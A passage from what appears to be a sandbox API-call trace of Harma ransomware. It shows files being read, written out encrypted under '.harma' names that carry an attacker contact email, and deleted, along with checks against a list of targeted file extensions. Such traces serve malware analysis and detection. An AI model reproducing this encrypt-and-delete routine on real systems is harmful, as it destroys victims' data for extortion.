lpOverlapped=0x0) returned 1 [0170.644] SetEndOfFile (hFile=0x218) returned 1 [0170.644] CloseHandle (hObject=0x218) returned 1 [0170.644] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.644] SetEndOfFile (hFile=0x3a4) returned 1 [0170.647] CloseHandle (hObject=0x3a4) returned 1 [0170.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.675] lstrlenW (lpString=".doc") returned 4 [0170.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString=".docx") returned 5 [0170.675] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.675] lstrlenW (lpString=".pdf") returned 4 [0170.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString=".xls") returned 4 [0170.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.675] lstrlenW (lpString=".xlsx") returned 5 [0170.676] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.676] lstrlenW (lpString=".ppt") returned 4 [0170.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.676] lstrlenW (lpString=".zip") returned 4 [0170.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.676] lstrlenW (lpString=".rar") returned 4 [0170.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.676] lstrlenW (lpString=".bz2") returned 4 [0170.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.676] lstrlenW (lpString=".7z") returned 3 [0170.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.676] lstrlenW (lpString=".dbf") returned 4 [0170.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.676] lstrlenW (lpString=".1cd") returned 4 [0170.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.676] lstrlenW (lpString=".jpg") returned 4 [0170.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.676] lstrlenW (lpString=".doc") returned 4 [0170.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.676] lstrlenW (lpString=".docx") returned 5 [0170.676] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.676] lstrlenW (lpString=".pdf") returned 4 [0170.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString=".xls") returned 4 [0170.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.677] lstrlenW (lpString=".xlsx") returned 5 [0170.677] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.677] lstrlenW (lpString=".ppt") returned 4 [0170.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.677] lstrlenW (lpString=".zip") returned 4 [0170.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.677] lstrlenW (lpString=".rar") returned 4 [0170.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString=".bz2") returned 4 [0170.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString=".7z") returned 3 [0170.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.677] lstrlenW (lpString=".dbf") returned 4 [0170.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.677] lstrlenW (lpString=".1cd") returned 4 [0170.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0170.677] lstrlenW (lpString=".jpg") returned 4 [0170.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.678] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.678] lstrlenW (lpString="J0107192.WMF") returned 12 [0170.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.678] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=9968) returned 1 [0170.679] CloseHandle (hObject=0x374) returned 1 [0170.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20 [0170.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.680] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.680] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0170.682] GetLastError () returned 0x0 [0170.682] ReadFile (in: hFile=0x374, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x26f0, lpOverlapped=0x0) returned 1 [0170.790] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2700, lpOverlapped=0x0) returned 1 [0170.791] ReadFile (in: hFile=0x374, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0170.791] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.791] SetEndOfFile (hFile=0x3a0) returned 1 [0170.791] CloseHandle (hObject=0x3a0) returned 1 [0170.791] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.791] SetEndOfFile (hFile=0x374) returned 1 [0170.794] CloseHandle (hObject=0x374) returned 1 [0170.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.816] lstrlenW (lpString=".doc") returned 4 [0170.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.816] lstrlenW (lpString=".docx") returned 5 [0170.817] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.817] lstrlenW (lpString=".pdf") returned 4 [0170.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.817] lstrlenW (lpString=".xls") returned 4 [0170.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.817] lstrlenW (lpString=".xlsx") returned 5 [0170.817] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.817] lstrlenW (lpString=".ppt") returned 4 [0170.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.817] lstrlenW (lpString=".zip") returned 4 [0170.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.817] lstrlenW (lpString=".rar") returned 4 [0170.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.817] lstrlenW (lpString=".bz2") returned 4 [0170.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.817] lstrlenW (lpString=".7z") returned 3 [0170.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.817] lstrlenW (lpString=".dbf") returned 4 [0170.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.817] lstrlenW (lpString=".1cd") returned 4 [0170.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.817] lstrlenW (lpString=".jpg") returned 4 [0170.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.817] lstrlenW (lpString=".doc") returned 4 [0170.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.818] lstrlenW (lpString=".docx") returned 5 [0170.818] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.818] lstrlenW (lpString=".pdf") returned 4 [0170.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.818] lstrlenW (lpString=".xls") returned 4 [0170.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.818] lstrlenW (lpString=".xlsx") returned 5 [0170.818] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.818] lstrlenW (lpString=".ppt") returned 4 [0170.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.818] lstrlenW (lpString=".zip") returned 4 [0170.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.818] lstrlenW (lpString=".rar") returned 4 [0170.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.818] lstrlenW (lpString=".bz2") returned 4 [0170.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.818] lstrlenW (lpString=".7z") returned 3 [0170.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.818] lstrlenW (lpString=".dbf") returned 4 [0170.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.818] lstrlenW (lpString=".1cd") returned 4 [0170.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0170.818] lstrlenW (lpString=".jpg") returned 4 [0170.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.819] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.819] lstrlenW (lpString="J0107264.WMF") returned 12 [0170.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0170.825] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5272) returned 1 [0170.825] CloseHandle (hObject=0x33c) returned 1 [0170.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20 [0170.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0170.826] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.826] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0170.828] GetLastError () returned 0x0 [0170.828] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1498, lpOverlapped=0x0) returned 1 [0171.038] WriteFile (in: hFile=0x20c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0171.039] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.039] WriteFile (in: hFile=0x20c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.039] SetEndOfFile (hFile=0x20c) returned 1 [0171.039] CloseHandle (hObject=0x20c) returned 1 [0171.039] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.040] SetEndOfFile (hFile=0x33c) returned 1 [0171.045] CloseHandle (hObject=0x33c) returned 1 [0171.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0171.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.046] lstrlenW (lpString=".doc") returned 4 [0171.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.046] lstrlenW (lpString=".docx") returned 5 [0171.046] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.046] lstrlenW (lpString=".pdf") returned 4 [0171.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.047] lstrlenW (lpString=".xls") returned 4 [0171.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.047] lstrlenW (lpString=".xlsx") returned 5 [0171.047] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.047] lstrlenW (lpString=".ppt") returned 4 [0171.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.047] lstrlenW (lpString=".zip") returned 4 [0171.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.047] lstrlenW (lpString=".rar") returned 4 [0171.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.047] lstrlenW (lpString=".bz2") returned 4 [0171.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.047] lstrlenW (lpString=".7z") returned 3 [0171.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.047] lstrlenW (lpString=".dbf") returned 4 [0171.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.047] lstrlenW (lpString=".1cd") returned 4 [0171.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.047] lstrlenW (lpString=".jpg") returned 4 [0171.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.047] lstrlenW (lpString=".doc") returned 4 [0171.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.048] lstrlenW (lpString=".docx") returned 5 [0171.048] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.048] lstrlenW (lpString=".pdf") returned 4 [0171.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.048] lstrlenW (lpString=".xls") returned 4 [0171.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.048] lstrlenW (lpString=".xlsx") returned 5 [0171.048] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.048] lstrlenW (lpString=".ppt") returned 4 [0171.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.048] lstrlenW (lpString=".zip") returned 4 [0171.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.048] lstrlenW (lpString=".rar") returned 4 [0171.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.048] lstrlenW (lpString=".bz2") returned 4 [0171.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.048] lstrlenW (lpString=".7z") returned 3 [0171.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.048] lstrlenW (lpString=".dbf") returned 4 [0171.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.048] lstrlenW (lpString=".1cd") returned 4 [0171.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0171.048] lstrlenW (lpString=".jpg") returned 4 [0171.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.049] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.049] lstrlenW (lpString="J0107288.WMF") returned 12 [0171.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.049] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=13436) returned 1 [0171.049] CloseHandle (hObject=0x33c) returned 1 [0171.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20 [0171.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.050] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.050] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0171.051] GetLastError () returned 0x0 [0171.051] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x347c, lpOverlapped=0x0) returned 1 [0171.139] WriteFile (in: hFile=0x20c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3480, lpOverlapped=0x0) returned 1 [0171.141] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.141] WriteFile (in: hFile=0x20c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.141] SetEndOfFile (hFile=0x20c) returned 1 [0171.141] CloseHandle (hObject=0x20c) returned 1 [0171.141] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.141] SetEndOfFile (hFile=0x33c) returned 1 [0171.143] CloseHandle (hObject=0x33c) returned 1 [0171.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft 